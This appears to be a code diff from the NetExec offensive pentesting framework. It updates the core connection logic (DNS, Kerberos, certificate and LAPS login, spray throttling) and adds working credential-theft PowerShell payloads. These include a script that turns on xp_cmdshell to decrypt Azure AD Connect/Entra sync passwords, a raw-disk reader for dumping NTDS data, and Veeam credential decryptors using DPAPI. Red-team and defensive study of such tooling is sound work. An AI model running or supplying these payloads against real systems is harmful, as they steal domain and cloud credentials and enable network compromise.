-        af, _, _, canonname, sa = res
-        address_info[af.name] = sa[0]
+    try:
+        if ip_address(target).version == 4:
+            address_info["AF_INET"] = target
+        else:
+            address_info["AF_INET6"] = target
+    except Exception:
+        # If the target is not an IP address, we need to resolve it
+        if not (dns_server or dns_tcp):
+            for res in getaddrinfo(target, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
+                af, _, _, canonname, sa = res
+                address_info[af.name] = sa[0]
+
+            if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
+                address_info["AF_INET6"] = canonname
+                result["is_link_local_ipv6"] = True
+        else:
+            dnsresolver = resolver.Resolver()
+            dnsresolver.timeout = dns_timeout
+            dnsresolver.lifetime = dns_timeout
+
+            if dns_server:
+                dnsresolver.nameservers = [dns_server]
+
+            try:
+                answers_ipv4 = dnsresolver.resolve(target, rdatatype.A, raise_on_no_answer=False, tcp=dns_tcp)
+                address_info["AF_INET"] = answers_ipv4[0].address
+            except Exception:
+                pass
+
+            try:
+                answers_ipv6 = dnsresolver.resolve(target, rdatatype.AAAA, raise_on_no_answer=False, tcp=dns_tcp)
+                address_info["AF_INET6"] = answers_ipv6[0].address
+
+                if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
+                    result["is_link_local_ipv6"] = True
+            except Exception:
+                pass
+
+    if not (address_info["AF_INET"] or address_info["AF_INET6"]):
+        raise Exception(f"The DNS query name does not exist: {target}")
 
     # IPv4 preferred
-    if address_info["AF_INET"]:
-        host = address_info["AF_INET"]
+    if address_info["AF_INET"] and not force_ipv6:
+        result["host"] = address_info["AF_INET"]
     else:
-        is_ipv6 = True
-        host, is_link_local_ipv6 = (canonname, True) if ip_address(address_info["AF_INET6"]).is_link_local else (address_info["AF_INET6"], False)
+        result["is_ipv6"] = True
+        result["host"] = address_info["AF_INET6"]
 
-    return host, is_ipv6, is_link_local_ipv6
+    return result
 
 
 def requires_admin(func):
     def _decorator(self, *args, **kwargs):
         if self.admin_privs is False:
+            if hasattr(self.args, "exec_method") and self.args.exec_method == "mmcexec":
+                return func(self, *args, **kwargs)
             return None
         return func(self, *args, **kwargs)
 
     return wraps(func)(_decorator)
 
 
-def dcom_FirewallChecker(iInterface, timeout):
+def dcom_FirewallChecker(iInterface, remoteHost, timeout):
     stringBindings = iInterface.get_cinstance().get_string_bindings()
     for strBinding in stringBindings:
         if strBinding["wTowerId"] == 7:
@@ -67,6 +118,7 @@ def dcom_FirewallChecker(iInterface, timeout):
         return True, None
     try:
         rpctransport = transport.DCERPCTransportFactory(stringBinding)
+        rpctransport.setRemoteHost(remoteHost)
         rpctransport.set_connect_timeout(timeout)
         rpctransport.connect()
         rpctransport.disconnect()
@@ -78,49 +130,78 @@ def dcom_FirewallChecker(iInterface, timeout):
 
 
 class connection:
-    def __init__(self, args, db, host):
-        self.domain = None
+    def __init__(self, args, db, target):
         self.args = args
         self.db = db
-        self.hostname = host
-        self.port = self.args.port
+        self.logger = nxc_logger
         self.conn = None
-        self.admin_privs = False
+        self.output_file_template = None
+        self.output_filename = None
+
+        # Authentication info
         self.password = ""
         self.username = ""
-        self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
+        self.kerberos = bool(self.args.kerberos or
+                             self.args.use_kcache or
+                             self.args.aesKey or
+                             (hasattr(self.args, "delegate") and self.args.delegate) or
+                             (hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets))
         self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
-        self.kdcHost = None if not self.args.kdcHost else self.args.kdcHost
         self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
+        self.admin_privs = False
         self.failed_logins = 0
-        self.local_ip = None
-        self.logger = nxc_logger
 
-        try:
-            self.host, self.is_ipv6, self.is_link_local_ipv6 = gethost_addrinfo(self.hostname)
-            if self.args.kerberos:
-                self.host = self.hostname
-            self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
-        except Exception as e:
-            self.logger.info(f"Error resolving hostname {self.hostname}: {e}")
+        # Network info
+        self.domain = None
+        self.host = None            # IP address of the target. If kerberos this is the hostname
+        self.hostname = target      # Target info supplied by the user, may be an IP address or a hostname
+        self.remoteName = target    # hostname + domain, defaults to target if domain could not be resolved/not specified
+        self.kdcHost = self.args.kdcHost
+        self.port = self.args.port
+        self.local_ip = None
+        self.dns_server = self.args.dns_server
+
+        # DNS resolution
+        dns_result = self.resolver(target)
+        if dns_result:
+            self.host, self.is_ipv6, self.is_link_local_ipv6 = dns_result["host"], dns_result["is_ipv6"], dns_result["is_link_local_ipv6"]
+        else:
             return
 
-        if args.jitter:
-            jitter = args.jitter
-            if "-" in jitter:
-                start, end = jitter.split("-")
-                jitter = (int(start), int(end))
-            else:
-                jitter = (0, int(jitter))
+        if self.kerberos:
+            self.host = self.hostname
 
-            value = random.choice(range(jitter[0], jitter[1]))
-            self.logger.debug(f"Doin' the jitterbug for {value} second(s)")
-            sleep(value)
+        self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
 
         try:
             self.proto_flow()
+        except FileNotFoundError as e:
+            self.logger.error(f"File not found error on target {target}: {e}")
         except Exception as e:
-            self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
+            if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
+                self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
+            # Catching impacket SMB specific exceptions, which should not be imported due to performance reasons
+            elif e.__class__.__name__ in ["NetBIOSTimeout", "NetBIOSError"]:
+                self.logger.error(f"{e.__class__.__name__} on target {target}: {e}")
+            else:
+                self.logger.exception(f"Exception while calling proto_flow() on target {target}: {e}")
+        finally:
+            self.logger.debug(f"Closing connection to: {target}")
+            with contextlib.suppress(Exception):
+                self.conn.close()
+
+    def resolver(self, target):
+        try:
+            return get_host_addr_info(
+                target=target,
+                force_ipv6=self.args.force_ipv6,
+                dns_server=self.args.dns_server,
+                dns_tcp=self.args.dns_tcp,
+                dns_timeout=self.args.dns_timeout
+            )
+        except Exception as e:
+            self.logger.info(f"Error resolving hostname {target}: {e}")
+            return None
 
     @staticmethod
     def proto_args(std_parser, module_parser):
@@ -138,22 +219,16 @@ class connection:
     def create_conn_obj(self):
         return
 
+    def disconnect(self):
+        return
+
     def check_if_admin(self):
         return
 
-    def kerberos_login(
-        self,
-        domain,
-        username,
-        password="",
-        ntlm_hash="",
-        aesKey="",
-        kdcHost="",
-        useCache=False,
-    ):
+    def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
         return
 
-    def plaintext_login(self, domain, username, password):
+    def plaintext_login(self, username, password):
         return
 
     def hash_login(self, domain, username, ntlm_hash):
@@ -162,16 +237,29 @@ class connection:
     def proto_flow(self):
         self.logger.debug("Kicking off proto_flow")
         self.proto_logger()
-        if self.create_conn_obj():
+        if not self.create_conn_obj():
+            self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
+        else:
             self.logger.debug("Created connection object")
             self.enum_host_info()
-            if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
+
+            # Construct the output file template using os.path.join for OS compatibility
+            base_log_dir = os.path.join(NXC_PATH, "logs")
+            filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
+            self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
+            # Default output filename for logs
+            self.output_filename = os.path.join(base_log_dir, filename_pattern)
+
+            self.print_host_info()
+            if self.login() or (self.username == "" and self.password == ""):
                 if hasattr(self.args, "module") and self.args.module:
+                    self.load_modules()
                     self.logger.debug("Calling modules")
                     self.call_modules()
                 else:
                     self.logger.debug("Calling command arguments")
                     self.call_cmd_args()
+            self.disconnect()
 
     def call_cmd_args(self):
         """Calls all the methods specified by the command line arguments
@@ -200,13 +288,13 @@ class connection:
         It iterates over the modules specified in the command line arguments.
         For each module, it loads the module and creates a context object, then calls functions based on the module's attributes.
         """
-        for module in self.module:
+        for module in self.modules:
             self.logger.debug(f"Loading module {module.name} - {module}")
             module_logger = NXCAdapter(
                 extra={
                     "module_name": module.name.upper(),
                     "host": self.host,
-                    "port": self.args.port,
+                    "port": self.port,
                     "hostname": self.hostname,
                 },
             )
@@ -215,11 +303,6 @@ class connection:
             context = Context(self.db, module_logger, self.args)
             context.localip = self.local_ip
 
-            if hasattr(module, "on_request") or hasattr(module, "has_response"):
-                self.logger.debug(f"Module {module.name} has on_request or has_response methods")
-                self.server.connection = self
-                self.server.context.localip = self.local_ip
-
             if hasattr(module, "on_login"):
                 self.logger.debug(f"Module {module.name} has on_login method")
                 module.on_login(context, self)
@@ -228,13 +311,8 @@ class connection:
                 self.logger.debug(f"Module {module.name} has on_admin_login method")
                 module.on_admin_login(context, self)
 
-            if (not hasattr(module, "on_request") and not hasattr(module, "has_response")) and hasattr(module, "on_shutdown"):
-                self.logger.debug(f"Module {module.name} has on_shutdown method")
-                module.on_shutdown(context, self)
-
     def inc_failed_login(self, username):
-        global global_failed_logins
-        global user_failed_logins
+        global global_failed_logins, user_failed_logins
 
         if username not in user_failed_logins:
             user_failed_logins[username] = 0
@@ -244,8 +322,7 @@ class connection:
         self.failed_logins += 1
 
     def over_fail_limit(self, username):
-        global global_failed_logins
-        global user_failed_logins
+        global global_failed_logins, user_failed_logins
 
         if global_failed_logins == self.args.gfail_limit:
             return True
@@ -253,7 +330,7 @@ class connection:
         if self.failed_logins == self.args.fail_limit:
             return True
 
-        if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]:
+        if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]:  # noqa: SIM103
             return True
 
         return False
@@ -317,10 +394,10 @@ class connection:
             if isfile(user):
                 with open(user) as user_file:
                     for line in user_file:
-                        if "\\" in line:
+                        if "\\" in line and len(line.split("\\")) == 2:
                             domain_single, username_single = line.split("\\")
                         else:
-                            domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
+                            domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain
                             username_single = line
                         domain.append(domain_single)
                         username.append(username_single.strip())
@@ -329,7 +406,7 @@ class connection:
                 if "\\" in user:
                     domain_single, username_single = user.split("\\")
                 else:
-                    domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
+                    domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain
                     username_single = user
                 domain.append(domain_single)
                 username.append(username_single)
@@ -356,12 +433,22 @@ class connection:
             for ntlm_hash in self.args.hash:
                 if isfile(ntlm_hash):
                     with open(ntlm_hash) as ntlm_hash_file:
-                        for line in ntlm_hash_file:
-                            secret.append(line.strip())
-                            cred_type.append("hash")
+                        for i, line in enumerate(ntlm_hash_file):
+                            line = line.strip()
+                            if len(line) != 32 and len(line) != 65 and len(line) != 0:
+                                self.logger.fail(f"Invalid NTLM hash length on line {(i + 1)} (len {len(line)}): {line}")
+                                continue
+                            else:
+                                secret.append(line)
+                                cred_type.append("hash")
                 else:
-                    secret.append(ntlm_hash)
-                    cred_type.append("hash")
+                    if len(ntlm_hash) != 32 and len(ntlm_hash) != 65 and len(ntlm_hash) != 0:
+                        self.logger.fail(f"Invalid NTLM hash length {len(ntlm_hash)}, authentication not sent")
+                        exit(1)
+                    else:
+                        secret.append(ntlm_hash)
+                        cred_type.append("hash")
+            self.logger.debug(secret)
 
         # Parse AES keys
         if self.args.aesKey:
@@ -384,7 +471,9 @@ class connection:
         return domain, username, owned, secret, cred_type, [None] * len(secret)
 
     def try_credentials(self, domain, username, owned, secret, cred_type, data=None):
-        """Try to login using the specified credentials and protocol.
+        """
+        Try to login using the specified credentials and protocol.
+        With  --jitter an authentication throttle can be applied.
 
         Possible login methods are:
             - plaintext (/kerberos)
@@ -395,11 +484,21 @@ class connection:
             return False
         if self.args.continue_on_success and owned:
             return False
-        if hasattr(self.args, "delegate") and self.args.delegate:
-            self.args.kerberos = True
+
+        if self.args.jitter:
+            jitter = self.args.jitter
+            if "-" in jitter:
+                start, end = jitter.split("-")
+                jitter = (int(start), int(end))
+            else:
+                jitter = (0, int(jitter))
+            value = jitter[0] if jitter[0] == jitter[1] else random.choice(range(jitter[0], jitter[1]))
+            self.logger.debug(f"Throttle authentications: sleeping {value} second(s)")
+            sleep(value)
+
         with sem:
             if cred_type == "plaintext":
-                if self.args.kerberos:
+                if self.kerberos:
                     self.logger.debug("Trying to authenticate using Kerberos")
                     return self.kerberos_login(domain, username, secret, "", "", self.kdcHost, False)
                 elif hasattr(self.args, "domain"):  # Some protocols don't use domain for login
@@ -412,7 +511,7 @@ class connection:
                     self.logger.debug("Trying to authenticate using plaintext")
                     return self.plaintext_login(username, secret)
             elif cred_type == "hash":
-                if self.args.kerberos:
+                if self.kerberos:
                     return self.kerberos_login(domain, username, "", secret, "", self.kdcHost, False)
                 return self.hash_login(domain, username, secret)
             elif cred_type == "aesKey":
@@ -459,6 +558,21 @@ class connection:
                 self.logger.info("Successfully authenticated using Kerberos cache")
                 return True
 
+        if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
+            self.logger.debug("Trying to authenticate using Certificate pfx")
+            if not self.args.username:
+                self.logger.fail("You must specify a username when using certificate authentication")
+                return False
+            with sem:
+                return pfx_auth(self)
+
+        if hasattr(self.args, "laps") and self.args.laps:
+            self.logger.debug("Trying to authenticate using LAPS")
+            username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
+            cred_type = ["plaintext"]
+            if not (username[0] or secret[0] or domain[0]):
+                return False
+
         if not self.args.no_bruteforce:
             for secr_index, secr in enumerate(secret):
                 for user_index, user in enumerate(username):
@@ -478,3 +592,12 @@ class connection:
 
     def mark_pwned(self):
         return highlight(f"({pwned_label})" if self.admin_privs else "")
+
+    def load_modules(self):
+        self.logger.info(f"Loading modules for target: {self.host}")
+        loader = ModuleLoader(self.args, self.db, self.logger)
+        self.modules = []
+
+        for module_path in self.module_paths:
+            module = loader.init_module(module_path)
+            self.modules.append(module)

nxc/context.py

@@ -1,6 +1,8 @@
 import configparser
 import os
 
+from nxc.paths import NXC_PATH, CONFIG_PATH
+
 
 class Context:
     def __init__(self, db, logger, args):
@@ -8,10 +10,10 @@ class Context:
             setattr(self, key, value)
 
         self.db = db
-        self.log_folder_path = os.path.join(os.path.expanduser("~/.nxc"), "logs")
+        self.log_folder_path = os.path.join(NXC_PATH, "logs")
         self.localip = None
 
         self.conf = configparser.ConfigParser()
-        self.conf.read(os.path.expanduser("~/.nxc/nxc.conf"))
+        self.conf.read(CONFIG_PATH)
 
         self.log = logger

nxc/data/msol_dump/entra-sync-creds.ps1

@@ -0,0 +1,82 @@
+# Original script by @_xpn_: https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c
+# Modified by @NeffIsBack:
+# - Added support for Entra ID sync credentials (original source: https://github.com/Gerenios/AADInternals-Endpoints/blob/6af2054705e900b733ba76c6e65bfa6cad2328cc/AADSyncSettings.ps1#L108-L116)
+
+# Function to decrypt the encrypted configuration of the Azure AD Connect sync stuff
+function decrypter($crypted, $key_id, $instance_id, $entropy) {
+    $cmd = $client.CreateCommand()
+    $cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
+    $reader = $cmd.ExecuteReader()
+
+    $decrypted = [string]::Empty
+
+    while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
+        $decrypted += $reader.GetString(0)
+    }
+    $reader.Close()
+
+    if ($decrypted -eq [string]::Empty) {
+        Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
+        return
+    }
+
+    return $decrypted
+}
+
+# Create a connection to the localdb instance of Azure AD Connect
+$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync2019;Initial Catalog=ADSync"
+
+try {
+    $client.Open()
+} catch {
+    Write-Host "[!] Could not connect to localdb, Entra ID sync probably not installed"
+    return
+}
+
+function f {
+    param ($q)
+    $c = $client.CreateCommand()
+    $c.CommandText = $q
+    $r = $c.ExecuteReader()
+    if (-not $r.Read()) {
+        Write-Host "[!] Error querying: $q"
+        return
+    }
+    $res = for ($i = 0; $i -lt $r.FieldCount; $i++) { $r.GetValue($i) }
+    $r.Close()
+    return $res
+}
+
+# Get keyset_id, instance_id, entropy
+$out = f "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
+if (-not $out) { return }
+$key_id, $instance_id, $entropy = $out
+
+# Get and decrypt on-prem AD credentials
+$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
+if (-not $out) { return }
+$on_prem, $c = $out
+$pd = decrypter $c $key_id $instance_id $entropy
+
+# Get and decrypt Entra ID sync credentials
+$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
+if (-not $out) { return }
+$entra, $c = $out
+$qd = decrypter $c $key_id $instance_id $entropy
+
+
+
+# Extract the credentials from the decrypted XML configurations
+$domain = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
+$username = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
+$pw = select-xml -Content $pd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
+
+Write-Host "On-prem Domain: $($domain.Domain)"
+Write-Host "On-prem Username: $($username.Username)"
+Write-Host "On-prem Password: $($pw.Password)"
+
+# Extract the Entra ID sync credentials
+$entra_user = ([xml]$entra).MAConfig.'parameter-values'.parameter[0].'#text'
+$entra_pw = select-xml -Content $qd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
+Write-Host "Entra ID Username: $($entra_user)"
+Write-Host "Entra ID Password: $($entra_pw.Password)"

nxc/data/msol_dump/msol_dump.ps1

@@ -1,65 +0,0 @@
-$sqlbin=@(Get-ChildItem -Path C:\"Program Files"\"Microsoft SQL Server"\ -Filter sqllocaldb.exe -Recurse).fullname
-$db=@(cmd /c $sqlbin info | findstr /i ADSy)
-
-$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\$db;Initial Catalog=ADSync"
-
-try {
-    $client.Open()
-} catch {
-    Write-Host "[!] Could not connect to localdb..."
-    return
-}
-
-Write-Host "[*] Querying ADSync localdb (mms_server_configuration)"
-
-$cmd = $client.CreateCommand()
-$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
-$reader = $cmd.ExecuteReader()
-if ($reader.Read() -ne $true) {
-    Write-Host "[!] Error querying mms_server_configuration"
-    return
-}
-
-$key_id = $reader.GetInt32(0)
-$instance_id = $reader.GetGuid(1)
-$entropy = $reader.GetGuid(2)
-$reader.Close()
-
-Write-Host "[*] Querying ADSync localdb (mms_management_agent)"
-
-$cmd = $client.CreateCommand()
-$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
-$reader = $cmd.ExecuteReader()
-if ($reader.Read() -ne $true) {
-    Write-Host "[!] Error querying mms_management_agent"
-    return
-}
-
-$config = $reader.GetString(0)
-$crypted = $reader.GetString(1)
-$reader.Close()
-
-Write-Host "[*] Using xp_cmdshell to run some Powershell as the service user"
-
-$cmd = $client.CreateCommand()
-$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key = `$null;`$km.GetActiveCredentialKey([ref]`$key);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
-$reader = $cmd.ExecuteReader()
-
-$decrypted = [string]::Empty
-
-while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
-    $decrypted += $reader.GetString(0)
-}
-
-if ($decrypted -eq [string]::Empty) {
-    Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
-    return
-}
-
-$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
-$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
-$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
-
-Write-Host "Domain: $($domain.Domain)"
-Write-Host "Username: $($username.Username)"
-Write-Host "Password: $($password.Password)"

nxc/data/ntds-dump-raw/ntds-dump-raw.ps1

@@ -0,0 +1,95 @@
+Add-Type -TypeDefinition @"
+using System;
+using System.Runtime.InteropServices;
+using Microsoft.Win32.SafeHandles;
+
+public class CNativeMethods
+{
+    public const uint GENERIC_READ = 0x80000000;
+    public const uint OPEN_EXISTING = 3;
+    public const uint FILE_SHARE_READ = 0x00000001;
+    public const uint FILE_SHARE_WRITE = 0x00000002;
+    public const uint FILE_SHARE_DELETE = 0x00000004;
+
+    [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
+    public static extern SafeFileHandle CreateFile(
+        string lpFileName, 
+        uint dwDesiredAccess, 
+        uint dwShareMode, 
+        IntPtr lpSecurityAttributes, 
+        uint dwCreationDisposition, 
+        uint dwFlagsAndAttributes, 
+        IntPtr hTemplateFile
+    );
+
+    [DllImport("kernel32.dll", SetLastError = true)]
+    public static extern bool ReadFile(
+        SafeFileHandle hFile, 
+        byte[] lpBuffer, 
+        uint nNumberOfBytesToRead, 
+        out uint lpNumberOfBytesRead, 
+        IntPtr lpOverlapped
+    );
+
+    [DllImport("kernel32.dll", SetLastError = true)]
+    public static extern bool SetFilePointerEx(
+        SafeFileHandle hFile, 
+        long lDistanceToMove, 
+        out long lpNewFilePointer, 
+        uint dwMoveMethod
+    );
+}
+
+public enum EMoveMethod : uint
+{
+    Begin = 0,
+    Current = 1,
+    End = 2
+}
+"@
+Function read_disk{
+    $offset = [long]$args[0]
+    $size = [int]$args[1]
+    try {
+        $handle = [CNativeMethods]::CreateFile("\\.\PHYSICALDRIVE0", 
+            [CNativeMethods]::GENERIC_READ, 
+            [CNativeMethods]::FILE_SHARE_READ -bor [CNativeMethods]::FILE_SHARE_WRITE -bor [CNativeMethods]::FILE_SHARE_DELETE, 
+            [IntPtr]::Zero, [CNativeMethods]::OPEN_EXISTING, 0, [IntPtr]::Zero)
+
+        if ($handle.IsInvalid) {
+            throw "Failed to create file handle"
+        }
+
+        $moveToHigh = 0
+        $success = [CNativeMethods]::SetFilePointerEx($handle, $offset, [ref]$moveToHigh, [EMoveMethod]::Begin)
+        if (-not $success) {
+            throw "Failed to set file pointer"
+        }
+
+        $buffer = New-Object byte[] $size
+        $bytesRead = 0
+        $success = [CNativeMethods]::ReadFile($handle, $buffer, $size, [ref]$bytesRead, [IntPtr]::Zero)
+
+        if (-not $success) {
+            throw "Failed to read file"
+        }
+
+        $memoryStream = New-Object System.IO.MemoryStream
+        $gzipStream = New-Object System.IO.Compression.GzipStream($memoryStream, [System.IO.Compression.CompressionMode]::Compress)
+        $gzipStream.Write($buffer, 0, $buffer.Length)
+        $gzipStream.Close()
+
+        $compressedBytes = $memoryStream.ToArray()
+        $compressedBase64 = [Convert]::ToBase64String($compressedBytes)
+
+        Write-Output $compressedBase64
+    } catch {
+        Write-Error "An error occurred: $_"
+    }
+
+    finally {
+        if ($handle -and !$handle.IsInvalid) {
+            $handle.Close()
+        }
+    }
+}

nxc/data/nxc.conf

@@ -5,15 +5,18 @@ pwn3d_label = Pwn3d!
 audit_mode = 
 reveal_chars_of_pwd = 0
 log_mode = False
-ignore_opsec = True
 host_info_colors = ["green", "red", "yellow", "cyan"]
+check_guest_account = False
 
 [BloodHound]
 bh_enabled = False
 bh_uri = 127.0.0.1
 bh_port = 7687
 bh_user = neo4j
-bh_pass = neo4j
+bh_pass = bloodhoundcommunityedition
+
+[BloodHound-CE]
+bhce_enabled = True
 
 [Empire]
 api_host = 127.0.0.1

nxc/data/veeam_dump_module/veeam_dump_mssql.ps1

@@ -1,9 +1,10 @@
 $SqlDatabaseName = "REPLACE_ME_SqlDatabase"
 $SqlServerName = "REPLACE_ME_SqlServer"
 $SqlInstanceName = "REPLACE_ME_SqlInstance"
+$b64Salt = "REPLACE_ME_b64Salt"
 
 #Forming the connection string
-$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
+$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
 $auth = "Integrated Security=SSPI;" #Local user
 $connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;"
 $connection = New-Object System.Data.OleDb.OleDbConnection $connectionString
@@ -22,19 +23,46 @@ catch {
 	exit -1
 }
 
-$rows=($dataset.Tables | Select-Object -Expand Rows)
-if ($rows.count -eq 0) {
+$output=($dataset.Tables | Select-Object -Expand Rows)
+if ($output.count -eq 0) {
 	Write-Host "No passwords found!"
 	exit
 }
 
 Add-Type -assembly System.Security
-#Decrypting passwords using DPAPI
-$rows | ForEach-Object -Process {
-	$EnryptedPWD = [Convert]::FromBase64String($_.password)
-	$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
+# Decrypting passwords using DPAPI
+$output | ForEach-Object -Process {
+	$EncryptedPWD = [Convert]::FromBase64String($_.password)
 	$enc = [system.text.encoding]::Default
-	$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
+
+	try {
+		# Decrypt password with DPAPI (old Veeam versions)
+		$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
+		$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
+	} catch {
+		try{
+			# Decrypt password with salted DPAPI (new Veeam versions)
+			$salt = [System.Convert]::FromBase64String($b64Salt)
+			$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
+			foreach ($byte in $EncryptedPWD)
+			{
+				$hex.AppendFormat("{0:x2}", $byte) > $null
+			}
+			$hex = $hex.ToString().Substring(74,$hex.Length-74)
+			$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
+			for ($i = 0; $i -lt $hex.Length; $i += 2)
+			{
+				$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
+			}
+			$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
+			$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
+		}catch {
+			$pw_string = "COULD_NOT_DECRYPT"
+		}
+	}
+	$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
+	$_.password = $pw_string
+	$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
 }
 
-Write-Output $rows | Format-Table -HideTableHeaders | Out-String
+Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000

nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1

@@ -1,8 +1,9 @@
 $PostgreSqlExec = "REPLACE_ME_PostgreSqlExec"
 $PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth"
 $SqlDatabaseName = "REPLACE_ME_SqlDatabaseName"
+$b64Salt = "REPLACE_ME_b64Salt"
 
-$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';"
+$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description  FROM credentials WHERE password != '';"
 $output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv
 
 if ($output.count -eq 0) {
@@ -10,13 +11,40 @@ if ($output.count -eq 0) {
 	exit
 }
 
+# Decrypting passwords using DPAPI
 Add-Type -assembly System.Security
-#Decrypting passwords using DPAPI
 $output | ForEach-Object -Process {
-    $EnryptedPWD = [Convert]::FromBase64String($_.password)
-	$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
+	$EncryptedPWD = [Convert]::FromBase64String($_.password)
